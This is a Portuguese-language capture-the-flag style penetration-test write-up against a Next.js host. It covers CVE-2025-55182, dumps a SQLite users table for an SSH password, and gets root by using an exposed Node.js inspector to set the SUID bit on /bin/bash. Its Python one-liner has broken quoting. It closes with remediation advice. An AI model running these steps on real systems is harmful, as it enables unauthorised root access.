
Write-up técnico de teste de penetração demonstrando a exploração da CVE-2025-55182 no Next.js, coleta de credenciais do SQLite e escalonamento de privilégios via inspetor do Node.js para obter acesso root.
Este writeup técnico detalha o caminho de exploração para comprometer um alvo que hospeda uma aplicação web Next.js vulnerável, obtendo acesso inicial por meio de credenciais coletadas e aproveitando um inspector V8 do Node.js local mal configurado para escalação de privilégios para root.
O alvo hospeda uma aplicação web Next.js executando nas portas HTTP/HTTPS padrão (80/443). A enumeração padrão de diretórios e a análise manual indicam que a aplicação está executando uma versão vulnerável ao CVE-2025-55182.
Para explorar a vulnerabilidade, intercepte o tráfego da aplicação usando o Burp Suite (ou Burp Repeater) e injete um payload de exploit elaborado visando o CVE-2025-55182.
Ao obter execução de código e leitura de arquivos locais por meio do exploit, inspecione o diretório do código-fonte da aplicação. O arquivo do banco de dados SQLite local (database.db) está localizado adjacente ao código-fonte principal da aplicação.
Consulte ou despeje o conteúdo do arquivo do banco de dados para extrair os registros de usuários armazenados.
Bash sqlite3 database.db "SELECT * FROM users;"
Localize a senha em texto claro associada ao usuário SSH local engineer.
Use as credenciais recuperadas para estabelecer uma sessão SSH com a máquina alvo:
Bash ssh engineer@
Uma vez autenticado, leia a flag de usuário localizada no diretório home:
Bash cat /home/engineer/user.txt
Verifique se há serviços vinculados exclusivamente à interface de loopback local (127.0.0.1) para identificar superfícies de ataque internas:
Bash netstat -tulnp
Resultado: Um serviço Node.js interno está ativamente escutando na porta local 9229.
As portas de depuração V8 do Node.js exigem um UUID de sessão exclusivo para comunicação via WebSocket. Consulte o endpoint de descoberta local usando curl com /json anexado:
Bash curl -s http://127.0.0.1:9229/json
Saída:
JSON { "webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639" }
Como o processo Node.js alvo é executado com privilégios de root, você pode enviar uma mensagem Runtime.evaluate do Chrome DevTools Protocol (CDP) via Python sobre WebSockets para definir o bit SUID em /bin/bash:
Bash python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require("child_process").execSync("chmod +s /bin/bash")"}})); print(ws.recv()); ws.close()'
Verifique se /bin/bash agora possui permissões SUID habilitadas (-rwsr-sr-x) e, em seguida, invoque o Bash preservando os privilégios:
Bash ls -l /bin/bash bash -p
Navegue até o diretório home do usuário root para capturar a flag final:
Bash cd /root cat root.txt
Proteger ambientes contra esses vetores exige corrigir aplicações web vulneráveis a CVEs conhecidos, restringir adequadamente as permissões dos arquivos do banco de dados e garantir que portas de depuração (como o inspector do Node.js na porta 9229) nunca sejam expostas ou deixadas acessíveis sem autenticação em ambientes de produção.